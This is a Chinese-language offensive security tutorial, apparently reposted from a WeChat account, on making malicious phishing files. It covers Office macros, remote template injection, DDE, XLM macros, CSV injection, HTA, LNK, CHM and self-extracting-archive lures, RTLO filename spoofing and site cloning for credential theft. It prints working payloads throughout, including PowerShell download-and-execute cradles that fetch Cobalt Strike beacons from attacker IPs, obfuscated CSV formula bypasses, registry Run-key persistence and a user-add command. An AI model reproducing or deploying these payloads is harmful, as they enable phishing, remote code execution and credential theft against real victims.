前言
在所有的APT攻击中,社工钓鱼这种攻击手法是肯定不会缺席的,可能是打点突破,可能是内网扩散,那么对于学习社工钓鱼所用到的恶意文件的制作就非常有必要。
恶意文件制作基础手法
office-word
Word宏钓鱼
AutoExec:启动 Word 或加载全局模板时
AutoNew:每次新建文档时
AutoOpen:每次打开已有文档时
AutoClose:每次关闭文档时
AutoExit:退出 Word 或卸载全局模板时
AutoClose比较好
Word模板文件注入宏指令
利用 Word 文档加载附加模板时的缺陷所发起的恶意请求,而达到的攻击目的,所以当目标用户点开攻击者发送的恶意 Word 文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。
先挑个模板创建一个正常的docx文件
然后弄个带宏的模板文件dotm
宏设置为AutoClose比较好
然后修改Setting.xml.rels内的target为dotm文件的路径
最关键的是此处支持smb和http协议,也就是后面的恶意dotm文件可以放在自己的服务器上!
Target="http://www.baidu.com/hong.dotm"
Word DDE钓鱼文档
DDE,动态数据交换。
创建一个文档 dde.docx , 之后双击打开 dde.docx, 直接 Ctrl + f9 快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令 (弹出一个计算器), 实战过程中可以远程加载我们的木马。
DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"
DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"
word OLE 外部对象注入
office-Excel
Excel宏钓鱼
Sub Auto_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.5.223/E.ps1'));", Null, objConfig, intProcessID
End Function
XLM / Macro 4.0 宏钓鱼
测试版本:office 21013
第一个单元格的命名须为:Auto_Open,然后把工作表设置为隐藏就可以了。
=EXEC("c:\windows\system32\cmd.exe")
=HALT()
实战可采用:
=EXEC("mshta http://192.168.5.223:80/evil.hta")
=HALT()
注意:别使用编码形式的,如:powershell -ep bypass -ec SQBFAFgAKABOAG
csv注入
csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。
漏洞原理
Excel的一个特性,当单元格中内容以=-+@等符号开头时,excel将会将其当成一个公式处理。
所以当我们输入=1+1时,excel会自动将其计算
那么利用这个办法,把等号后面的内容改为执行cmd命令控制其打开一个计算器
=1+cmd|' /C calc'!A0
修改注册表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0
添加用户名
=cmd|'/C net user test 123456 /add'!A0+
很多场景下服务器会过滤=,但是在excel中,+,-,@等也可以触发公式
-cmd|' /C calc'!A0
+cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)
%0A绕过自动添加单引号
%0A-1+cmd|' /C calc'!A0
;绕过自动添加单引号
;-1+cmd|' /C calc'!A0
在开源的openoffice中可以直接只有DDE函数,像=DDE(“cmd”;”/C calc”;”123”)这样调用。
而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDE。注意:该方法的提示窗口只提示application而不提示topic。
1、当excel遇到+和-会自动填充=成为公式,如
+thespnquisition(cmd|'/c calc.exe'!A
2、若打开的外部应用为8字符,excel自动忽略后面的字符,如下面的两个作用相同:
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
3、将其他表达式或空格填充在恶意表达式之前
=AA+BB-CC&"Hello"/12345&cmd|'/c calc.exe'!A
4、通过windows batch的语法特性,填充无意义或是不影响执行逻辑的字符和指令,将topic字段混淆,如文章开始处的payload:
=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
/c是cmd参数,表示执行后关闭窗口
REM表示后面的内容是注释
.表示空行,用于终止之前的REM
&&表示如果前一条指令执行成功则执行后一条指令
@ 表示执行窗口不显示后面的命令
^表示转义,此处无实际意义,只是用来混淆powershell这一敏感词
?表示powershell通配符,其中匹配任意字符串,?匹配1个字符,此处能唯一定位到c:/windows/system32/calc.exe
“无实际用途,删了也没啥区别
所以经过解析后,实际执行的命令是:
cmd.exe /c powershell c:/windows/system32/calc.exe
当然,也可以使用字符串拼接的特性,将命令变为下面这样:
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
msf也集成了这种攻击方法:
IQY特性
利用这个特性,可以把实际的payload放在自己的云端。
payload.html就是放在我们的vps的,到时候想更新payload,就更新vps的payload.html即可。
EXE钓鱼
直接把恶意木马换个名字发到目标去,可以把文件名设置的长一点,并且加上空格,这样就没那么容易看到后缀名了。
HTA文件钓鱼
HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。
HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。
就是一个html应用程序,双击就能运行。
Cobalt Strike,attacks——>packages——>HTML application
选择powershell然后单机generate,选择保存路径。将生成的.hta文件发送给别人,点击后获得shell。
LNK快捷方式钓鱼
$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\dark5\desktop\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ''+ $file
$Shortcut.Save()
test.txt的内容为:
cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.5.163:80/a'))"
RTLO字符翻转
RLO,即 Right-to-Left Override,我们可以在⽂件名中插⼊此类 unicode 字符,来达到⽂件名反转的效果。
以 cmd.exe 来举例,
将其重命名为 cmdgpj.exe, 然后在 cmd 与 g 之间右键,看图操作
其中,改名后的exe字符不能去掉,否则就不是以应用程序启动了。
Rar解压自运行
先给恶意程序改名,比如改成adobe_Reader.exe
,可以同时跟多个程序一起制作自解压程序,比如可以跟flash安装程序,或者是doc文件,这样自解压程序被启动的时候就会启动flash安装程序,达到迷惑被害人的目的。
到此就全部完成:
然后可以做RLO反转,修改图标。
power query DDE
参考:https://xz.aliyun.com/t/5514
https://lengjibo.github.io/execl/
其他参考:利用Excel power query实现远程DDE执行【未仔细看】
PPT 动作按钮特性构造 PPSX 钓鱼
尽量拉满整个PPT页,然后设置动作
那么在放映的时候鼠标经过,就会运行,
嵌入js元素
这个说实话需要一点js功底。。
这个方式的原理是,如果我们往word中插入联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。
一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作(打开word文件会报错),好迷
我看了一个POC,里面是通过构造二进制数据交给BLOB对象处理,并自动点击由BLOB对象生成的url实现下载二进制数据,而这些二进制数据实质上是恶意文件。
因为我搞不来那个二进制数据怎么产生,所以这个方法暂时只做了解吧。。
而且我看的那个文章的POC在我的word2016里不能正常工作,不知道是什么原因
reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload
CHM电子书植入后门
新建html文件,编码格式ANSI,写入代码
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe,/c calc.exe'>
//这一排用于执行命令,注意cmd.exe前后都有,或者<PARAM name="Item1" value=',powershell.exe,-c calc.exe'>也行
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用easychm软件,新建-浏览-选择html文件所在目录-选择html文件-编译
反编译chm文件:hh.exe -decompile d:\Readme\ D:\Readme.chm
站点克隆
就是克隆某个站点的内容。
意欲何为?
假设目标时常会登录一个站点,我们想获取的他登录这个站点的凭证,就可以克隆该站点,然后以网站官方发邮箱跟他说,你的密码存在存在风险,请修改,再给出一个链接,当然域名要伪造的像一点,它打开就是我们伪造的站点了,跟它平常登录的一模一样。
CobaltStrike - Clone Site
但是不能克隆https的……
小飞兔下载
其实我觉得就是把POST的地址改成真正的就可以了,当然也要记录好凭证。
重定向钓鱼
使用相关漏洞钓鱼
CVE-2017-11882
CVE-2021-40444 https://www.freebuf.com/vuls/289224.html
本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。